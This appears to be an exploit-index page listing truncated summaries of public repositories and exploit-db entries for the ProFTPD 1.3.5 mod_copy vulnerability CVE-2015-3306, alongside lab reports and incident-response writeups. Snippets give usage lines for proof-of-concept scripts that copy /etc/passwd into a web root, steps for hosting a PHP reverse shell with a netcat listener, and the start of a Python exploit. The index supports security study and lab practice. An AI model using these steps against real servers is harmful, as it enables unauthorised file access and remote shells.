cve-2015-3306

cve-2015-3306 Docker 镜像 hackarada/cve-2015-3306 仅供个人使用 root@kitploit: docker build -t hackarada/cve-2015-3306 docker run --rm -it -p 21:21 -p 80:80 hackarada/cve-2015-3306...

cpx_proftpd

cpxproftpd Daniel Aldana 为利用 CVE-2015-3306 编写的 PoC。漏洞由 Vadim Melihow 报告。 方法 1： 使用方法： root@kitploit: python cpxproftp.py 示例： root@kitploit: python cpxproftp.py 127.0.0.1 /etc/passwd /var/www/pass.txt 然后尝试访问： root@kitploit: http://127.0.0.1/pass.txt 方法 2： 使用方法： root@kitploit: python cpxproftp.py 示例...

cve-2015-3306

CVE-2015-3306 这是 Cved 的一部分： 一个用于管理易受攻击的 Docker 容器的工具。 Cved: https://github.com/git-rep-src/cved 镜像来源：https://github.com/cved-sources/cve-2015-3306 镜像作者：https://github.com/t0kx/exploit-CVE-2015-3306...

Modified-CVE-2015-3306-Exploit

Modified-CVE-2015-3306-Exploit 如何使用 1. 创建一个 PHP 反向 shell 2. 启动服务器以在同一目录中托管 shell python3 -m http.server 3. 启动 netcat 监听器在本地选择的端口，例如：nc -nlvp port of choice 4. 运行以下提供的漏洞利用示例 python3 modifiedCVE20153306.py --host remote host --port most likely port 21 --path /var/www or /var/www/html --shell name o...

propane

propane 利用 ProFTPD 的 modcopy 模块中的任意文件写入漏洞（CVE-2015-3306），并尝试代码执行。...

proftpd_bypass

该工具使用一系列特殊构造的命令来利用CVE-2015-3306并绕过ProFTPD的modcopy的身份验证系统。 可从此处下载here（需从命令行运行） 用法： proftpdbypass target port lcopy within target/rcopy to target lpath rpath...

CVE-2015-3306-Python-PoC

CVE-2015-3306-Python-PoC 这是从 metasploit 模块调整转换而来，作为 OSCP 学习和漏洞利用开发的练习。它最初来自用 searchsploit 搜索随机远程命令执行模块。我分析了 metasploit 代码并将其转换成了 python。 验证截图：...

ProFTPD_CVE-2015-3306

m4ud ProFTPD 1.3.5 RCE エクスプロイト CVE : 2015-3306! root@kitploit: ProFTPd 1.3.5 RCE Usage: ProFTPD.py options Options: -h, --help show this help message and exit -l LHOST, --lhost=LHOST Local IP Required for Reverse Shell, -p LPORT, --lport=LPORT Port Required for Reverse Shell, -t TARGET,...

OpenVAS-Vulnerability-Analysis-Incident-Response-Report

OpenVAS-漏洞分析-事件响应报告 真实场景模拟：FTP服务漏洞利用（ProFTPD CVE-2015-3306） 真实场景模拟：FTP服务漏洞利用（ProFTPD CVE-2015-3306） 📌 概述 本项目演示了在受控实验室环境中使用 OpenVAS Greenbone Vulnerability Manager 进行全周期漏洞评估和事件响应的工作流程。 目标是识别一个已知的FTP漏洞（ vsftpd 后门 ）。然而，通过实际分析和验证，发现并调查了一个不同的严重漏洞 ——这展示了基于真实分析而非假设的报告方式，体现了真实分析师决策过程。 🎯 关键成果 识别了 ProFTPD...

ProFTPd-1.3.5-mod_copy-Remote-Command-Execution

ProFTPd-1.3.5-modcopy-Remote-Command-Execution 利用 CVE-2015-3306 漏洞攻击 ProFTP 1.3.5 服务的脚本 用法 .ProFTPD1.3.5RemoteCommandExecution.py -h --rhost RHOST --rportftp RPORTFTP --targeturi TARGETURI --tmppath TMPPATH --sitepath SITEPATH --payload PAYLOAD...

hackviser_labs_CVE-2015-3306

hackviserlabsCVE-2015-3306 Este es un script personalizado para ayudar a resolver el laboratorio de ejecución remota de código bajo el laboratorio CVE-2015-3306. Ejecútalo usando el siguiente comando: python3 exploit.py Reemplaza con la dirección que obtuviste al iniciar el laboratorio en la...

proftpd-mod_copy-cve-2015-3306

ProFTPD 1.3.5 modcopy 脆弱性 CVE-2015-3306 このリポジトリには、Hackviser プラットフォーム上の脆弱な ProFTPD 1.3.5 サービスを悪用するラボレポートが含まれています。 このラボでは、modcopy 脆弱性 CVE-2015-3306 を利用して、機密ファイル secret.txt への不正アクセスを実証します。 詳細な悪用手順と緩和策の推奨事項は report.md に含まれています。...

CY376_-AHENKORA_JOSEPH-

CY376 Red Team Project — Exploiting Known CVEs in a Deliberate...

cybersecurity-exam-report

Cybersecurity Exam Project: ProFTPD Exploitation and MySQL Dat...

Exploit for Improper Access Control in Proftpd

OpenVAS-Vulnerability-Analysis-Incident-Response-Report Real-W...

ProFTPd 1.3.5 - (mod_copy) Remote Command Execution Exploit (2)

Exploit Title: ProFTPd 1.3.5 - 'modcopy' Remote Command Execution 2 Exploit Author: Shellbr3ak Version: 1.3.5 Tested on: Ubuntu 16.04.6 LTS CVE : CVE-2015-3306 !/usr/bin/env python3 import sys import socket import requests def exploitclient, target: client.connecttarget,21 Connecting to the targe...

ProFTPd 1.3.5 Remote Command Execution

Exploit Title: ProFTPd 1.3.5 - 'modcopy' Remote Command Execution 2 Date: 25/05/2021 Exploit Author: Shellbr3ak Version: 1.3.5 Tested on: Ubuntu 16.04.6 LTS CVE : CVE-2015-3306 !/usr/bin/env python3 import sys import socket import requests def exploitclient, target: client.connecttarget,21...

ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)

Exploit Title: ProFTPd 1.3.5 - 'modcopy' Remote Command Execution 2 Date: 25/05/2021 Exploit Author: Shellbr3ak Version: 1.3.5 Tested on: Ubuntu 16.04.6 LTS CVE : CVE-2015-3306 !/usr/bin/env python3 import sys import socket import requests def exploitclient, target: client.connecttarget,21...

Mail.ru: [files.ucs.ru] ProFTPd mod_copy Arbitrary Read/Write

CVE-2015-3306 in opened to external network FTP server on files.ucs.ru...

CVE-2019-12815

An arbitrary file copy vulnerability in modcopy in ProFTPD up to 1.3.5b allows for remote code execution and information disclosure without authentication, a related issue to CVE-2015-3306...